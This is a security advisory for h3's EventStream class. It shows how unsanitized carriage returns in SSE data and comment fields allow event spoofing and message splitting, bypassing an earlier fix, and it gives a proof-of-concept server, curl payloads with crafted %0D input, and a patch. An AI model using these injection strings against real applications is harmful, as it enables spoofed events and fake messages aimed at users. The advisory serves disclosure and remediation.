h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)GHSA-4hxc-9384-m385

Summary

The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.

Details

The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) {  // Only splits on \n, not \r
  result += `data: ${line}\n`;
}

String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:

data: legit\revent: evil\n

Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:

data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split("\n")  // Only splits on \n, not \r
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:

: x\rdata: injected\n\n

Which the browser parses as a comment line followed by actual data:

: x
data: injected

Why _sanitizeSingleLine doesn't help

The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:

function _sanitizeSingleLine(value: string): string {
  return value.replace(/[\n\r]/g, "");
}

But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:

// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
  const stream = createEventStream(event);
  const { msg } = getQuery(event);

  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
  await stream.push(String(msg));

  setTimeout(() => stream.close(), 1000);
  return stream.send();
}));

export default app;

Attack 1: Event type injection via \r in data

# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"

Expected (safe) wire output:

data: legit\revent: evil\n\n

Browser parses as:

data: legit
event: evil

The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"

Browser parses as two separate events:

1. Event 1: data: first
2. Event 2: data: injected

A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"

Browser parses as:

: x          (comment, ignored)
data: injected  (real data, dispatched as event)

Impact

• Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
• Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
• Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
• Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.

// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split(SSE_LINE_SPLIT)  // was: .split("\n")
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${_sanitizeSingleLine(message.id)}\n`;
  }
  if (message.event) {
    result += `event: ${_sanitizeSingleLine(message.event)}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  const data = typeof message.data === "string" ? message.data : "";
  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split("\n")
    result += `data: ${line}\n`;
  }
  result += "\n";
  return result;
}

This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.